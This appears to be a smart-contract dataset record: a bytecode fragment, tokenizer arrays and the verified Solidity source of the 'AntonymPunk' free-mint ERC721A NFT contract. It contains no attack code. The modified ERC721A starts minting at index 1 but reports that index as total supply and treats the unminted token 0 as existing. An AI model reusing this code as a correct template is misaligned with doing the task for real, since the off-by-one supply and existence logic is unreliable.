0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f736f6d657468696e672077656e742077726f6e67000000000000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6119f381611618565b81146119fe57600080fd5b50565b611a0a8161162a565b8114611a1557600080fd5b50565b611a2181611656565b8114611a2c57600080fd5b5056fea26469706673582212209a92109801aed6ecd897692573de01e535e3bf15923df0f6563de16911cf441164736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2581, 2509, 2546, 27531, 2683, 21472, 2692, 2620, 12879, 2546, 20952, 2549, 20952, 22394, 2546, 2692, 2581, 2683, 21057, 7875, 2497, 2581, 2050, 23777, 27814, 3401, 2278, 1013, 1008, 1008, 1037, 4022, 10615, 19204, 2005, 1996, 19888, 10085, 3126, 7389, 5666, 5304, 1012, 1045, 2097, 4503, 2009, 2021, 2039, 2000, 2451, 2000, 2191, 23921, 1998, 6133, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,832
0x97749a731b2417abc7df69d22a28b87060755e3a
/** *Submitted for verification at Etherscan.io on 2022-03-01 */ // File @openzeppelin/contracts/utils/Context.sol@v4.4.2 // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/utils/Strings.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/IERC721.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File @openzeppelin/contracts/utils/Address.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File contracts/ERC721A.sol // Creator: Chiru Labs /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). * * Assumes that an owner cannot have more than the 2**128 (max value of uint128) of supply */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex = 1; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), 'ERC721A: global index out of bounds'); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), 'ERC721A: owner index out of bounds'); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert('ERC721A: unable to get token of owner by index'); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), 'ERC721A: balance query for the zero address'); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), 'ERC721A: number minted query for the zero address'); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), 'ERC721A: owner query for nonexistent token'); for (uint256 curr = tokenId; ; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert('ERC721A: unable to determine the owner of token'); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token'); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, 'ERC721A: approval to current owner'); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), 'ERC721A: approve caller is not owner nor approved for all' ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), 'ERC721A: approved query for nonexistent token'); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), 'ERC721A: approve to caller'); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), 'ERC721A: mint to the zero address'); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), 'ERC721A: token already minted'); require(quantity > 0, 'ERC721A: quantity must be greater 0'); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved'); require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner'); require(to != address(0), 'ERC721A: transfer to the zero address'); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; } _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership(prevOwnership.addr, prevOwnership.startTimestamp); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert('ERC721A: transfer to non ERC721Receiver implementer'); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } contract AntonymPunk is ERC721A, Ownable { string public baseURI = "ipfs://QmcGuTFhFbXro1JThXzM1R8D9FkjQk5Pd2KtY3yAwQ3emm/"; string public contractURI = "ipfs://QmYeEVt3hCYuKggNWDtRNGEN9kHFFst4mpNdYnaeijDUNt"; string public constant baseExtension = ".json"; address public constant proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1; uint256 public constant MAX_PER_TX = 2; uint256 public constant MAX_PER_WALLET = 4; uint256 public constant MAX_SUPPLY = 500; uint256 public constant price = 0.00 ether; bool public paused = false; mapping(address => uint256) public addressMinted; constructor() ERC721A("AntonymPunk", "ANTPUNK") {} function mint(uint256 _amount) external payable { address _caller = _msgSender(); require(!paused, "Paused"); require(MAX_SUPPLY >= totalSupply() + _amount, "Exceeds max supply"); require(_amount > 0, "No 0 mints"); require(tx.origin == _caller, "No contracts"); require(addressMinted[msg.sender] + _amount <= MAX_PER_WALLET, "Exceeds max per wallet"); require(MAX_PER_TX >= _amount , "Excess max per paid tx"); require(_amount * price == msg.value, "Invalid funds provided"); addressMinted[msg.sender] += _amount; _safeMint(_caller, _amount); } function isApprovedForAll(address owner, address operator) override public view returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } function withdraw() external onlyOwner { uint256 balance = address(this).balance; (bool success, ) = _msgSender().call{value: balance}(""); require(success, "Failed to send"); } function pause(bool _state) external onlyOwner { paused = _state; } function setBaseURI(string memory baseURI_) external onlyOwner { baseURI = baseURI_; } function tokenURI(uint256 _tokenId) public view override returns (string memory) { require(_exists(_tokenId), "Token does not exist."); return bytes(baseURI).length > 0 ? string( abi.encodePacked( baseURI, Strings.toString(_tokenId), baseExtension ) ) : ""; } } contract OwnableDelegateProxy { } contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; }
